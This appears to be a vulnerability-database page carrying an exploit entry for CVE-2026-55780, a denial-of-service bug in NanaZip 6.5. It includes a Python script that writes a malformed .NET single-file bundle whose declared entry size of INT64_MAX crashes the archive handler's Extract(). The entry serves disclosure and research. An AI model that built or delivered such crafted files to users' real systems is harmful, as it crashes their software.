NanaZip 6.5 - DoS
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-55780 | 10 Jul 202616:49 | – | attackerkb | |
| CVE-2026-55780 | 10 Jul 202623:12 | – | circl | |
| CVE-2026-55780 | 10 Jul 202616:49 | – | cve | |
| CVE-2026-55780 NanaZip: Uncaught exception / unbounded allocation in NanaZip .NET single-file Extract() via unvalidated entry Size | 10 Jul 202616:49 | – | cvelist | |
| EUVD-2026-42956 | 10 Jul 202616:49 | – | euvd | |
| CVE-2026-55780 | 10 Jul 202617:16 | – | nvd | |
| NanaZip 6.5 Denial of Service | 20 Aug 202600:00 | – | packetstorm | |
| PT-2026-57235 | 10 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-55780 NanaZip: Uncaught exception / unbounded allocation in NanaZip .NET single-file Extract() via unvalidated entry Size | 10 Jul 202616:49 | – | vulnrichment |
# Exploit Title: NanaZip 6.5 - DoS
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/M2Team/NanaZip
# Software Link: https://github.com/M2Team/NanaZip/releases
# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)
# Tested on: Windows
# CVE: CVE-2026-55780
# Category: dos
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip
A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().
NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source
(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but
was not executed against a running build. Benign — it only generates the malformed carrier file.
--- PoC generator (GHSA-ppm9-5267-rq72.py) ---
#!/usr/bin/env python3
# PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET
# single-file Extract() (GHSA-ppm9-5267-rq72).
#
# A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10
# preceded by an int64 bundle-header offset at offset 2, then a v1 header
# declaring one embedded file with Size = INT64_MAX. Extracting that entry makes
# DotNetSingleFile::Extract run std::vector(Size) with no try/catch
# (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across
# the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)
import struct
SIG = bytes([
0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,
0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,
0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,
0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,
])
HDR = 42 # bundle header offset
buf = bytearray(74)
buf[0:2] = b"MZ"
buf[2:10] = struct.pack("<q", HDR) # int64 header offset (read at sig-8)
buf[10:42] = SIG # signature at i = 10
o = HDR
struct.pack_into("<I", buf, o, 1); o += 4 # MajorVersion = 1 (<2)
struct.pack_into("<I", buf, o, 0); o += 4 # MinorVersion = 0
struct.pack_into("<i", buf, o, 1); o += 4 # NumberOfEmbeddedFiles = 1
buf[o] = 0; o += 1 # BundleIdLength = 0
struct.pack_into("<q", buf, o, HDR); o += 8 # Entry.Offset (>0)
struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8 # Entry.Size = INT64_MAX
buf[o] = 0; o += 1 # Entry.Type = 0
buf[o] = 0x01; o += 1 # RelativePathLength = 1
buf[o] = ord("a"); o += 1 # RelativePath = "a"
with open("poc.bundle", "wb") as f:
f.write(buf)
print(len(buf), "bytes ->", "poc.bundle")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 42.4
EPSS0.00309
SSVC